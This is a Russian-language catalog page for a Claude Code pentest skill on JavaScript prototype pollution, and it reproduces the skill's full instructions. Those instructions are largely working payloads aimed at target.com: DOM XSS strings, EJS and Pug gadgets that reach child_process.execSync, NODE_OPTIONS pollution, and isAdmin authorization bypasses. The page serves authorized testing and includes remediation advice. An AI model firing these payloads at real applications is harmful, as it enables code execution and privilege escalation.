К основному содержанию
скилл CX Codex

exploiting-prototype-pollution-in-javascript — скилл для Claude Code

Скилл exploiting-prototype-pollution-in-javascript для Claude Code ищет уязвимости prototype pollution в JavaScript и Node.js. Включается при проверке функций слияния объектов и пользовательских ключей.

Apache-2.0 267 установок ★ 36 511 обновлён 2026-08-31

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript -a claude-code
Открыть на GitHub

Что делает exploiting-prototype-pollution-in-javascript

Скилл помогает обнаружить prototype pollution в клиентских и серверных JavaScript-приложениях и проверить возможные последствия: DOM XSS, RCE или обход авторизации. Он разбирает источники загрязнения прототипа, уязвимые свойства и места, где приложение их использует.

Для клиентской проверки нужны Burp Suite с расширением DOM Invader и консоль разработчика браузера; для серверной — среда Node.js. В перечень требований также входят расширение Prototype Pollution Gadgets Scanner для Burp и знание цепочки прототипов JavaScript и распространённых гаджетов. Проверки допустимы только на системах с разрешением владельца.

Какие задачи решает

  • найти источники prototype pollution в веб-приложении
  • проверить передачу пользовательских ключей в merge, clone или extend
  • исследовать возможность DOM XSS или RCE через загрязнённый прототип
  • оценить риск обхода аутентификации и авторизации

Примеры запросов агенту

  • Проверь в этом приложении функции слияния объектов на prototype pollution.
  • Исследуй разрешённый тестовый стенд на DOM XSS через загрязнение прототипа.
  • Проверь серверную часть Node.js на prototype pollution и возможный обход авторизации.

Как установить exploiting-prototype-pollution-in-javascript

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript -a claude-code

2Вручную: положить файлы

~/.claude/skills/exploiting-prototype-pollution-in-javascript/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/exploiting-prototype-pollution-in-javascript/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Вопросы об exploiting-prototype-pollution-in-javascript

Как установить exploiting-prototype-pollution-in-javascript в Claude Code?

Выполни npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-prototype-pollution-in-javascript -a claude-code. Файл скилла находится по пути ~/.claude/skills/exploiting-prototype-pollution-in-javascript/SKILL.md.

Что делает exploiting-prototype-pollution-in-javascript?

Скилл проверяет JavaScript- и Node.js-приложения на prototype pollution и исследует, могут ли загрязнённые свойства привести к XSS, RCE или обходу авторизации.

Что нужно для работы exploiting-prototype-pollution-in-javascript?

Для клиентской проверки нужны Burp Suite с DOM Invader и консоль разработчика браузера, для серверной — среда Node.js. Также нужны расширение Prototype Pollution Gadgets Scanner для Burp и знание цепочки прототипов JavaScript и распространённых гаджетов.

Исходный текст

SKILL.md · Apache-2.0
---
name: exploiting-prototype-pollution-in-javascript
description: Detects and exploits JavaScript prototype pollution vulnerabilities
  in client-side and server-side (Node.js) applications to achieve XSS, RCE, or
  authentication bypass through property injection into Object.prototype. Use when
  assessing a JavaScript/Node.js application for prototype pollution, especially
  where a merge, clone, or extend function accepts user-controlled keys.
domain: cybersecurity
subdomain: web-application-security
tags:
- prototype-pollution
- javascript
- node-js
- xss
- rce
- property-injection
- dom-xss
- server-side-pollution
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
---

# Exploiting Prototype Pollution in JavaScript

## When to Use
- When testing Node.js or JavaScript-heavy web applications
- During assessment of APIs accepting deep-merged JSON objects
- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
- During code review of object merge/clone/extend operations
- When evaluating npm packages for prototype pollution gadgets

## Prerequisites
- Burp Suite with DOM Invader extension for client-side prototype pollution detection
- Node.js development environment for server-side testing
- Understanding of JavaScript prototype chain and object inheritance
- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
- Prototype Pollution Gadgets Scanner Burp extension for server-side detection
- Browser developer console for client-side prototype manipulation


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1 — Identify Prototype Pollution Sources
```javascript
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
```

### Step 2 — Test Server-Side Prototype Pollution
```bash
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true}}'

# Test via constructor.prototype
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed

# JSON content type pollution
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
```

### Step 3 — Exploit Client-Side for DOM XSS
```javascript
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
```

### Step 4 — Exploit Server-Side for RCE
```bash
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
```

### Step 5 — Exploit for Authentication and Authorization Bypass
```bash
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'
```

### Step 6 — Detect with Automated Tools
```bash
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| __proto__ | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side detection |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |

## Common Scenarios

1. **DOM XSS via Analytics** — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype
2. **RCE via Template Engine** — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties
3. **Admin Privilege Escalation** — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications
4. **JSON Schema Bypass** — Pollute schema validation properties to bypass input validation and inject malicious data
5. **Denial of Service** — Pollute toString or valueOf to crash the application when objects are coerced to primitives

## Output Format

```
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Похожие скиллы

Все скиллы по теме «Безопасность» →
prototype-pollution-advanced yaklang Скилл prototype-pollution-advanced для Claude Code разбирает серверный RCE через шаблонизаторы, клиентские гаджеты, обходы фильтров и детект. Включается после подтверждения prototype pollution. CX Codex +1 3 900установок prototype-pollution yaklang Проверяет JavaScript на prototype pollution: опасные merge-операции и чтение загрязнённых свойств. Проверяет Node- и браузерные приложения в авторизованных аудитах. CX Codex +1 3 900установок javascript-expert martinholovsky Скилл javascript-expert для Claude, который подключает к агенту экспертизу по JavaScript: ES6+, асинхронность, Node.js, браузерные API и защита от XSS. CX Codex +1 338установок hunt-file-upload Sachin Sharma Скилл hunt-file-upload для поиска уязвимостей в функциях загрузки файлов: RCE через webshell, XSS через SVG, SSRF через XXE в DOCX, обход фильтров расширений. CX Codex +1 ★ 16 193звёзд репо javascript-pro https://github.com/Jeffallan Скилл javascript-pro для Claude Code пишет, отлаживает и рефакторит JavaScript-код с ES2023+, async/await, ESM и Node.js API. Создаёт vanilla JavaScript-приложения и оптимизирует производительность в браузере и Node.js. CX Codex +1 6 600установок neo4j-driver-javascript-skill neo4j-contrib Скилл neo4j-driver-javascript-skill для Claude Code объясняет правила работы с библиотекой neo4j-driver v6. Подключается при настройке подключений, сессий и транзакций к Neo4j в Node.js или браузере. CX Codex +1 454установок

Из того же набора152

Весь набор →
exploiting-mass-assignment-in-rest-apis Скилл exploiting-mass-assignment-in-rest-apis помогает находить и эксплуатировать уязвимости mass assignment в REST API. Пригодится при аудите безопасности эндпоинтов на базе популярных ORM. CX Codex +1 271установок exploiting-nosql-injection-vulnerabilities Скилл exploiting-nosql-injection-vulnerabilities помогает проверять NoSQL-инъекции в API и веб-приложениях с MongoDB и похожими базами. Он пригодится при авторизованном тестировании ввода и защиты запросов. CX Codex +1 271установок building-vulnerability-scanning-workflow Скилл building-vulnerability-scanning-workflow для Claude Code автоматизирует поиск, оценку риска и отслеживание уязвимостей через Nessus, Qualys и OpenVAS, связывая результаты с SIEM-алертами SOC-команд. CX Codex +1 271установок testing-for-email-header-injection Скилл testing-for-email-header-injection для Claude Code проверяет веб-формы на инъекции SMTP-заголовков и включается во время пентеста функций, отправляющих пользовательский ввод по почте. CX Codex +1 270установок exploiting-template-injection-vulnerabilities Скилл exploiting-template-injection-vulnerabilities для Claude Code, который находит и эксплуатирует Server-Side Template Injection в Jinja2, Twig, Freemarker и других шаблонизаторах. CX Codex +1 266установок performing-web-cache-poisoning-attack Скилл performing-web-cache-poisoning-attack проводит агента по проверке веб-кэша на отравление: ищет заголовки и параметры вне ключа кэша, которые всё равно попадают в ответ. CX Codex +1 264установок conducting-cloud-penetration-testing Скилл conducting-cloud-penetration-testing для проведения авторизованного пентеста облачных сред AWS, Azure и GCP. CX Codex +1 263установок analyzing-ransomware-payment-wallets Скилл analyzing-ransomware-payment-wallets разбирает криптовалютные платежи после атак вымогателей: связывает кошельки, транзакции и дальнейшее движение средств по блокчейну. CX Codex +1 262установок

Спонсоры проекта

Компании, которые помогают держать аналитику открытой